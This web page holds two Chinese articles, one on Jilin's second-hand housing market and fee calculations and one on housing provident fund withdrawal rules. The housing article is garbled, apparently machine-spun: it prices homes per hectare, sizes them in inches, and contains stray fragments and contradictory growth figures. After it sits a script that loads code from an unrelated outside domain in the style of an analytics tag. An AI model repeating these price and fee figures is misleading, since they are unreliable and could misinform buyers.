吉林二手房的状况如何，房价该怎么计算

根据众多房地产中介机构的大数据数据，吉林二手房信息令人惊讶：市场活动暂时没有明显改善，吉林市最新二手房信息交易仍处于低估。“去年和今年上半年，吉林二手房信息市场确实令人欣慰，但进入下半年的热势头开始放缓，在前几年进入9月时，客户潮并未如预期般出现。”吉林二手房价是这样计算的1.测绘费为买方每平方米1.36元。2.评估费为0.5%（评估金额允许波动）3.契税的初步评定为90平方米的1%，90平方米至140平方米的1.5%，首次140平方米以上的3%。买方应缴纳契税。4.所得税按总额的1%由卖方负担，五年内只给予住房补贴。5.交易费百分之6每平方，双方支付。6.本本费80元，买方（印花税5元）。7.5.6%的销售税将由卖方支付，普通住房五年后免税。根据最新吉林二手房房价走势图，吉林省房价仍在上涨。因此，吉林二手房平均房价接近每公顷6000元。去年同期，房价仅为每公顷5200元，每公顷增加800元。值得一提的是，吉林省的房价最近发生了变化。2018年6月，吉林省新房价格超过二手房价格，这是自去年7月以来首次平均新房价格超过吉林二手房价格。吉林二手房房价已经出来，需要买一个小伙伴的心是沉重的，毕竟，在短短的一个月内，吉林市的房价每平方米上涨近300元，这不是一个小数字。也就是说，根据吉林最新的房价，100寸的房子上个月只需要57万元，这个月就需要60万元；如果只有57万元，上个月就可以买100寸的房子，这个月就可以买95寸的房子。每年9月和11月，吉林二手房市场将迎来一个小的销售高峰。这两个月也是开发商年底恢复业绩和资金的最佳时机，因此主要开发商将选择在这一时期提出新的思路，而第一手房地产市场的大动作也对吉林二手房信息市场有一定的影响。N市。“虽然两个卖家都有定价权，吉林二手房价格有一个合理的监管体系，几乎每天都没有价格。吉林省最新二手房信息有所不同。主人有绝对的发言权。一家房地产经纪公司的销售顾问刘说：“在我们的工作过程中，卖家很少临时增加或拒绝谈判。从长远来看，这种情况无疑会对吉林二手房市场的健康有序发展产生负面影响。根据吉林市最新房价，让我们来看看吉林二手房各区最新房价：昌邑区新房平均价格5741元/公顷，年均增长4.2%，比去年同期增长11.3元/公顷，这是一个比较大的增长。H区。丰曼区新房平均每公顷6671元，比上年同期分别增长3.61%和8.11%。增长速度相对较慢。营房平均价格为每公顷6791元，年增长31.1%，同比增长4.21%。它是城市周边发展最快的地区，甚至超过了整个地区，成为平均价格较高的地区。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

吉林市住房公积金提取，工薪层的头等大事

记得以前看过周立波的一期节目，他讲到，我们这个国家很神奇，我们造什么，什么就便宜，外国人是搞不过我们的，但同样的是，我们买什么，什么就贵。虽然他的话带有戏虐的成分，但却从另一方面反映出了相关的问题，那就是对于必需品的需求量大造成了中国房价的困境，而如今买房似乎是中国人最重要的事，而对于工薪阶层来讲，买房的相关政策优惠才是大家最关心的，这其中就包括了住房公积金的问题，今天我们就来看看吉林市住房公积金提取的相关问题。提取条件最新消息:住房公积金租房提取条件放宽连缴三个月可提。房屋类：1、购买自住住房的，2、建造自住住房的，3、翻建自住住房的，4、大修自住住房的。第一，职工连续足额缴存满三个月，本人及配偶在缴存城市无自有住房且租房的，可提取双方住房公积金支付房租;第二，租住公租房，可按照实际房租支出全额提取;第三，租住商品房，各地根据当地租金水平和住房面积确定提取额度。提取材料1、《吉林市住房公积金提取审批表》。2、本人身份证和住房公积金联名卡(已办卡职工)。3、符合提取条件的职工的配偶申请提取本人的住房公积金的，需提供申请人身份证和住房公积金联名卡(已办卡职工)及结婚证(或发证部门的证明)。4、根据不同情形，还需提供以下材料：房屋类：吉林房屋类公积金提取材料，非房屋类：吉林非房屋类公积金提取材料提取流程1、提取人将相关提取要件递交业务大厅窗口柜员审核。2、审核合格后由柜员打印《住房公积金提取清单》，并交由提取人核对相关信息准确无误后确认签字;3、有住房公积金联名卡的，提取金额存入职工联名卡;未办理住房公积金联名卡的职工到指定银行取款;4、将《住房公积金提取清单》返回单位记账，提取工作结束。房屋类：1、购买、建造、翻建、大修自住住房购买、建造、翻建、大修自住住房未申请个人住房公积金贷款的，可在二年内一次性提取夫妻双方账户内的住房公积金，但夫妻双方提取总额不得超过实际发生的住房支出。(1)、购买商品房、房改房和征收安置房扩大面积部分的，需以购房税检发票或契税完税证日期为准(契税完税证日期超过规定提取时限的，以房屋所有权证发证日期为准);提取额度不得超过购房发票金额或契税完税证缴税购房金额。(2)、购买存量房(二手房)的，需以契税完税证日期为准;提取额度不得超过契税完税证缴税购房金额。(3)、建造、翻建、大修自住住房的，需以规划部门或房地产管理部门批准日期为准;提取额度不得超过工程预(决)算书预(决)算额度。2、偿还自住住房偿还自住住房贷款本息的(且该套住房未发生上述(一)款条件提取的)，职工本人及其配偶在偿还首期贷款后，可随时申请第一次提取;3、房租支出房租支出占家庭工资收入比例25%以上的，提取额度不应高于年房租支出总额与家庭年工资收入25%的差额部分。提取时间1、一个公积金年度内只能支取一次(即需间隔满十二个月以上方可再支取)2、职工提取住房公积金用于购买、建造、翻建、大修自住住房的，在购房合同、协议签订或建设工程规划许可证颁发之日1年内办理住房公积金支取。那么以上就是吉林市住房公积金提取的相关流程，注意事项以及所需的材料等，那么符合条件的需要看清楚这些规章制度，避免出现人为地差错，毕竟对于普通老百姓来讲，买房子似乎算得上是头等的大事，马虎不得，当然，对于住房公积金这类惠民惠职工的事情大家还是不能错过，那么今天的吉林市住房公积金的提取问题就给大家介绍到这里。